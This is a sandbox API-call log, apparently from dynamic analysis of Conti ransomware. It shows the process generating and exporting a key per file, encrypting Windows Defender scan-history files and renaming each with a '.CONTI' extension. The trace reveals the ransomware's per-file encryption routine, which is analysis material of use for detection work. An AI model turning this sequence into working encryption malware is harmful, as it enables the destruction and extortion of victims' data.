	[0115.386] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\196")) returned 0x20
	[0115.391] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\196"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.392] GetLastError () returned 0x0
	[0115.392] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.392] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.392] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.392] SetEndOfFile (hFile=0x408) returned 1
	[0115.395] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.395] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.395] WriteFile (in: hFile=0x408, lpBuffer=0x6b4307c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4307c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.398] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.398] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.398] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.398] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.398] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.398] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.398] WriteFile (in: hFile=0x408, lpBuffer=0x6b43070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b43070*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.398] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.398] CloseHandle (hObject=0x408) returned 1
	[0115.417] GetProcessHeap () returned 0x1720000
	[0115.417] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.417] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196"
	[0115.417] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196.CONTI"
	[0115.417] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\196"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\15\\196.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\15\\196.conti")) returned 1
	[0115.418] GetProcessHeap () returned 0x1720000
	[0115.418] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.418] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0115.418] GetProcessHeap () returned 0x1720000
	[0115.418] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f290 | out: hHeap=0x1720000) returned 1
	[0115.418] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.418] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b41760 | out: phKey=0x6b41760*=0x6b7f138) returned 1
	[0115.418] CryptExportKey (in: hKey=0x6b7f138, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b41764, pdwDataLen=0x3cffb14 | out: pbData=0x6b41764*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.419] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\266")) returned 0x20
	[0115.419] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\266"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.419] GetLastError () returned 0x0
	[0115.419] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.419] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.420] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.420] SetEndOfFile (hFile=0x408) returned 1
	[0115.420] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.420] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.420] WriteFile (in: hFile=0x408, lpBuffer=0x6b41764*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b41764*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.421] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.421] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.421] CryptEncrypt (in: hKey=0x6b7f138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.421] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.421] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.421] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.421] WriteFile (in: hFile=0x408, lpBuffer=0x6b41758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b41758*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.421] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.421] CloseHandle (hObject=0x408) returned 1
	[0115.421] GetProcessHeap () returned 0x1720000
	[0115.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.422] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266"
	[0115.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266.CONTI"
	[0115.422] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\266"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\266.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\266.conti")) returned 1
	[0115.422] GetProcessHeap () returned 0x1720000
	[0115.422] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.422] CryptDestroyKey (hKey=0x6b7f138) returned 1
	[0115.422] GetProcessHeap () returned 0x1720000
	[0115.422] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e4c8 | out: hHeap=0x1720000) returned 1
	[0115.422] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.422] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b43e28 | out: phKey=0x6b43e28*=0x6b7f238) returned 1
	[0115.422] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b43e2c, pdwDataLen=0x3cffb14 | out: pbData=0x6b43e2c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.423] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\272")) returned 0x20
	[0115.423] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\272"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.424] GetLastError () returned 0x0
	[0115.424] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.424] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.424] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.424] SetEndOfFile (hFile=0x408) returned 1
	[0115.424] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.424] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.424] WriteFile (in: hFile=0x408, lpBuffer=0x6b43e2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b43e2c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.425] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.425] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.425] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.425] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.425] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.425] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.425] WriteFile (in: hFile=0x408, lpBuffer=0x6b43e20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b43e20*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.426] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.426] CloseHandle (hObject=0x408) returned 1
	[0115.426] GetProcessHeap () returned 0x1720000
	[0115.426] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.426] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272"
	[0115.426] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272.CONTI"
	[0115.426] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\272"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\272.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\272.conti")) returned 1
	[0115.426] GetProcessHeap () returned 0x1720000
	[0115.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.426] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0115.426] GetProcessHeap () returned 0x1720000
	[0115.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173edf8 | out: hHeap=0x1720000) returned 1
	[0115.426] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.426] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b42080 | out: phKey=0x6b42080*=0x6b7f278) returned 1
	[0115.427] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42084, pdwDataLen=0x3cffb14 | out: pbData=0x6b42084*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.427] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\328")) returned 0x20
	[0115.428] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\328"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.428] GetLastError () returned 0x0
	[0115.428] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.429] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.429] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.429] SetEndOfFile (hFile=0x408) returned 1
	[0115.429] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.429] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.429] WriteFile (in: hFile=0x408, lpBuffer=0x6b42084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b42084*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.430] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.430] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.430] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.430] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.430] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
	[0115.430] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.430] WriteFile (in: hFile=0x408, lpBuffer=0x6b42078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b42078*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0115.431] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.431] CloseHandle (hObject=0x408) returned 1
	[0115.431] GetProcessHeap () returned 0x1720000
	[0115.431] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.431] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328"
	[0115.431] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328.CONTI"
	[0115.431] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\328"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\19\\328.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\19\\328.conti")) returned 1
	[0115.431] GetProcessHeap () returned 0x1720000
	[0115.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.431] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0115.431] GetProcessHeap () returned 0x1720000
	[0115.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ef48 | out: hHeap=0x1720000) returned 1
	[0115.431] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0115.432] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b41e38 | out: phKey=0x6b41e38*=0x6b7f438) returned 1
	[0115.432] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b41e3c, pdwDataLen=0x3cffb14 | out: pbData=0x6b41e3c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0115.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\21\\260")) returned 0x20
	[0115.432] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\21\\260" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\21\\260"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408
	[0115.433] GetLastError () returned 0x0
	[0115.433] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=136) returned 1
	[0115.433] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.433] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.433] SetEndOfFile (hFile=0x408) returned 1
	[0115.433] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.433] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.433] WriteFile (in: hFile=0x408, lpBuffer=0x6b41e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b41e3c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0115.435] SetFilePointer (in: hFile=0x408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.435] ReadFile (in: hFile=0x408, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x88, lpOverlapped=0x0) returned 1
	[0115.435] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x88, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x90) returned 1
	[0115.435] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.435] WriteFile (in: hFile=0x408, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x90, lpOverlapped=0x0) returned 1
